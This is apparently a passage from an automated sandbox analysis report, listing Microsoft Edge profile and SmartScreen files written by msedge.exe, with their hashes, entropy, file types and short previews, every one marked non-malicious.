SSDEEP:	6:7xMs9yq2P923oH+TcwtfrzAdIFUt8Ox6r1Zmw+OxA8lRkwO923oH+TcwtfrzILJ:7mFv4Yeb9FUt8O21/+Oq8z5LYeb2J
MD5:	8F3B99AD033D14EDEFB8F8F4B1A31CC8
SHA1:	4D9A711A6F64DF01EDD6242B77C4966AF9889559
SHA-256:	137FEEFB4BF3997A62035FFF966593C84724F4851419536E1ABFAFF324B5AEA9
SHA-512:	BDC40F9BD37A94E17D2FC88D46A2A59C13EE071F7D98B95B5F92FC7AAA5A4301139977E0CA4A55CF83569D003E09D73C6E3C609E8B4BF7B6E2201D0A324BA253
Malicious:	false
Preview:	2024/12/12-06:09:25.334 1e10 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/12/12-06:09:25.335 1e10 Recovering log #3.2024/12/12-06:09:25.338 1e10 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.182922083675791
Encrypted:	false
SSDEEP:	6:7xMs9yq2P923oH+TcwtfrzAdIFUt8Ox6r1Zmw+OxA8lRkwO923oH+TcwtfrzILJ:7mFv4Yeb9FUt8O21/+Oq8z5LYeb2J
MD5:	8F3B99AD033D14EDEFB8F8F4B1A31CC8
SHA1:	4D9A711A6F64DF01EDD6242B77C4966AF9889559
SHA-256:	137FEEFB4BF3997A62035FFF966593C84724F4851419536E1ABFAFF324B5AEA9
SHA-512:	BDC40F9BD37A94E17D2FC88D46A2A59C13EE071F7D98B95B5F92FC7AAA5A4301139977E0CA4A55CF83569D003E09D73C6E3C609E8B4BF7B6E2201D0A324BA253
Malicious:	false
Preview:	2024/12/12-06:09:25.334 1e10 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/12/12-06:09:25.335 1e10 Recovering log #3.2024/12/12-06:09:25.338 1e10 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Browser

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	120
Entropy (8bit):	3.32524464792714
Encrypted:	false
SSDEEP:	3:tbloIlrJFlXnpQoWcNylRjlgbYnPdJiG6R7lZAUAl:tbdlrYoWcV0n1IGi7kBl
MD5:	A397E5983D4A1619E36143B4D804B870
SHA1:	AA135A8CC2469CFD1EF2D7955F027D95BE5DFBD4
SHA-256:	9C70F766D3B84FC2BB298EFA37CC9191F28BEC336329CC11468CFADBC3B137F4
SHA-512:	4159EA654152D2810C95648694DD71957C84EA825FCCA87B36F7E3282A72B30EF741805C610C5FA847CA186E34BDE9C289AAA7B6931C5B257F1D11255CD2A816
Malicious:	false
Preview:	C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.M.i.c.r.o.s.o.f.t.\.E.d.g.e.\.A.p.p.l.i.c.a.t.i.o.n.\.m.s.e.d.g.e...e.x.e.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Version

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	2.7192945256669794
Encrypted:	false
SSDEEP:	3:NYLFRQI:ap2I
MD5:	BF16C04B916ACE92DB941EBB1AF3CB18
SHA1:	FA8DAEAE881F91F61EE0EE21BE5156255429AA8A
SHA-256:	7FC23C9028A316EC0AC25B09B5B0D61A1D21E58DFCF84C2A5F5B529129729098
SHA-512:	F0B7DF5517596B38D57C57B5777E008D6229AB5B1841BBE74602C77EEA2252BF644B8650C7642BD466213F62E15CC7AB5A95B28E26D3907260ED1B96A74B65FB
Malicious:	false
Preview:	117.0.2045.47

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090771016252016
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMBwuF9hDO6vP6O+mtbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEh67tbz8hu3VlXr4CRo1
MD5:	1F859D7569FEC112F019BC047A020B5C
SHA1:	36750B60B2B17EC326F39606BD2652A5FDB54CD4
SHA-256:	D30568B1CC75F9EE41E8238AC5AE683C3FF6E2306455E45CAE5B1F9D8029D28F
SHA-512:	AE69A76B245A330F7688C16C531F159F3BEE0C16075ED50F034B24CA4C09FDC809C0A99956A7F55F757A5A7695DE1E198F64DC7905F2422D69FEDECD9CC3EE82
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3887a.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090771016252016
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMBwuF9hDO6vP6O+mtbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEh67tbz8hu3VlXr4CRo1
MD5:	1F859D7569FEC112F019BC047A020B5C
SHA1:	36750B60B2B17EC326F39606BD2652A5FDB54CD4
SHA-256:	D30568B1CC75F9EE41E8238AC5AE683C3FF6E2306455E45CAE5B1F9D8029D28F
SHA-512:	AE69A76B245A330F7688C16C531F159F3BEE0C16075ED50F034B24CA4C09FDC809C0A99956A7F55F757A5A7695DE1E198F64DC7905F2422D69FEDECD9CC3EE82
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3888a.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090771016252016
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMBwuF9hDO6vP6O+mtbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEh67tbz8hu3VlXr4CRo1
MD5:	1F859D7569FEC112F019BC047A020B5C
SHA1:	36750B60B2B17EC326F39606BD2652A5FDB54CD4
SHA-256:	D30568B1CC75F9EE41E8238AC5AE683C3FF6E2306455E45CAE5B1F9D8029D28F
SHA-512:	AE69A76B245A330F7688C16C531F159F3BEE0C16075ED50F034B24CA4C09FDC809C0A99956A7F55F757A5A7695DE1E198F64DC7905F2422D69FEDECD9CC3EE82
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF38a20.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090771016252016
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMBwuF9hDO6vP6O+mtbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEh67tbz8hu3VlXr4CRo1
MD5:	1F859D7569FEC112F019BC047A020B5C
SHA1:	36750B60B2B17EC326F39606BD2652A5FDB54CD4
SHA-256:	D30568B1CC75F9EE41E8238AC5AE683C3FF6E2306455E45CAE5B1F9D8029D28F
SHA-512:	AE69A76B245A330F7688C16C531F159F3BEE0C16075ED50F034B24CA4C09FDC809C0A99956A7F55F757A5A7695DE1E198F64DC7905F2422D69FEDECD9CC3EE82
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3b111.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090771016252016
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMBwuF9hDO6vP6O+mtbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEh67tbz8hu3VlXr4CRo1
MD5:	1F859D7569FEC112F019BC047A020B5C
SHA1:	36750B60B2B17EC326F39606BD2652A5FDB54CD4
SHA-256:	D30568B1CC75F9EE41E8238AC5AE683C3FF6E2306455E45CAE5B1F9D8029D28F
SHA-512:	AE69A76B245A330F7688C16C531F159F3BEE0C16075ED50F034B24CA4C09FDC809C0A99956A7F55F757A5A7695DE1E198F64DC7905F2422D69FEDECD9CC3EE82
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3e0eb.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090771016252016
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMBwuF9hDO6vP6O+mtbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEh67tbz8hu3VlXr4CRo1
MD5:	1F859D7569FEC112F019BC047A020B5C
SHA1:	36750B60B2B17EC326F39606BD2652A5FDB54CD4
SHA-256:	D30568B1CC75F9EE41E8238AC5AE683C3FF6E2306455E45CAE5B1F9D8029D28F
SHA-512:	AE69A76B245A330F7688C16C531F159F3BEE0C16075ED50F034B24CA4C09FDC809C0A99956A7F55F757A5A7695DE1E198F64DC7905F2422D69FEDECD9CC3EE82
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF49b23.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090771016252016
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMBwuF9hDO6vP6O+mtbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEh67tbz8hu3VlXr4CRo1
MD5:	1F859D7569FEC112F019BC047A020B5C
SHA1:	36750B60B2B17EC326F39606BD2652A5FDB54CD4
SHA-256:	D30568B1CC75F9EE41E8238AC5AE683C3FF6E2306455E45CAE5B1F9D8029D28F
SHA-512:	AE69A76B245A330F7688C16C531F159F3BEE0C16075ED50F034B24CA4C09FDC809C0A99956A7F55F757A5A7695DE1E198F64DC7905F2422D69FEDECD9CC3EE82
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF4f7d9.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090771016252016
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMBwuF9hDO6vP6O+mtbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEh67tbz8hu3VlXr4CRo1
MD5:	1F859D7569FEC112F019BC047A020B5C
SHA1:	36750B60B2B17EC326F39606BD2652A5FDB54CD4
SHA-256:	D30568B1CC75F9EE41E8238AC5AE683C3FF6E2306455E45CAE5B1F9D8029D28F
SHA-512:	AE69A76B245A330F7688C16C531F159F3BEE0C16075ED50F034B24CA4C09FDC809C0A99956A7F55F757A5A7695DE1E198F64DC7905F2422D69FEDECD9CC3EE82
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	47
Entropy (8bit):	4.3818353308528755
Encrypted:	false
SSDEEP:	3:2jRo6jhM6ceYcUtS2djIn:5I2uxUt5Mn
MD5:	48324111147DECC23AC222A361873FC5
SHA1:	0DF8B2267ABBDBD11C422D23338262E3131A4223
SHA-256:	D8D672F953E823063955BD9981532FC3453800C2E74C0CC3653D091088ABD3B3
SHA-512:	E3B5DB7BA5E4E3DE3741F53D91B6B61D6EB9ECC8F4C07B6AE1C2293517F331B716114BAB41D7935888A266F7EBDA6FABA90023EFFEC850A929986053853F1E02
Malicious:	false
Preview:	customSettings_F95BA787499AB4FA9EFFF472CE383A14

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings_F95BA787499AB4FA9EFFF472CE383A14

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	35
Entropy (8bit):	4.014438730983427
Encrypted:	false
SSDEEP:	3:YDMGA2ADH/AYKEqsYq:YQXT/bKE1F
MD5:	BB57A76019EADEDC27F04EB2FB1F1841
SHA1:	8B41A1B995D45B7A74A365B6B1F1F21F72F86760
SHA-256:	2BAE8302F9BD2D87AE26ACF692663DF1639B8E2068157451DA4773BD8BD30A2B
SHA-512:	A455D7F8E0BE9A27CFB7BE8FE0B0E722B35B4C8F206CAD99064473F15700023D5995CC2C4FAFDB8FBB50F0BAB3EC8B241E9A512C0766AAAE1A86C3472C589FFD
Malicious:	false
Preview:	{"forceServiceDetermination":false}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	81
Entropy (8bit):	4.3439888556902035
Encrypted:	false
SSDEEP:	3:kDnaV6bVsFUIMf1HDOWg3djTHXoSWDSQ97P:kDYaoUIe1HDM3oskP
MD5:	177F4D75F4FEE84EF08C507C3476C0D2
SHA1:	08E17AEB4D4066AC034207420F1F73DD8BE3FAA0
SHA-256:	21EE7A30C2409E0041CDA6C04EEE72688EB92FE995DC94487FF93AD32BD8F849
SHA-512:	94FC142B3CC4844BF2C0A72BCE57363C554356C799F6E581AA3012E48375F02ABD820076A8C2902A3C6BE6AC4D8FA8D4F010D4FF261327E878AF5E5EE31038FB
Malicious:	false
Preview:	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	130439
Entropy (8bit):	3.80180718117079
Encrypted:	false
SSDEEP:	1536:RlIyFAMrwvaGbyLWzDr6PDofI8vsUnPRLz+PMh:weWGP7Eh
MD5:	EB75CEFFE37E6DF9C171EE8380439EDA
SHA1:	F00119BA869133D64E4F7F0181161BD47968FA23
SHA-256:	48B11410DC937A1723BF4C5AD33ECDB286D8EC69544241BC373F753E64B396C1
SHA-512:	044C5113D877CE2E3B42CF07670620937ED7BE2D8B3BF2BAB085C43EF4F64598A7AC56328DDBBE7F0F3CFB9EA49D38CA332BB4ECBFEDBE24AE53B14334A30C8E
Malicious:	false
Preview:	{.. "geoidMaps": {.. "au": "https://australia.smartscreen.microsoft.com/",.. "ch": "https://switzerland.smartscreen.microsoft.com/",.. "eu": "https://europe.smartscreen.microsoft.com/",.. "ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "in": "https://india.smartscreen.microsoft.com/",.. "test": "https://eu-9.smartscreen.microsoft.com/",.. "uk": "https://unitedkingdom.smartscreen.microsoft.com/",.. "us": "https://unitedstates.smartscreen.microsoft.com/",.. "gw_au": "https://australia.smartscreen.microsoft.com/",.. "gw_ch": "https://switzerland.smartscreen.microsoft.com/",.. "gw_eu": "https://europe.smartscreen.microsoft.com/",.. "gw_ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "gw_ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "gw_ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "gw_in": "https

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
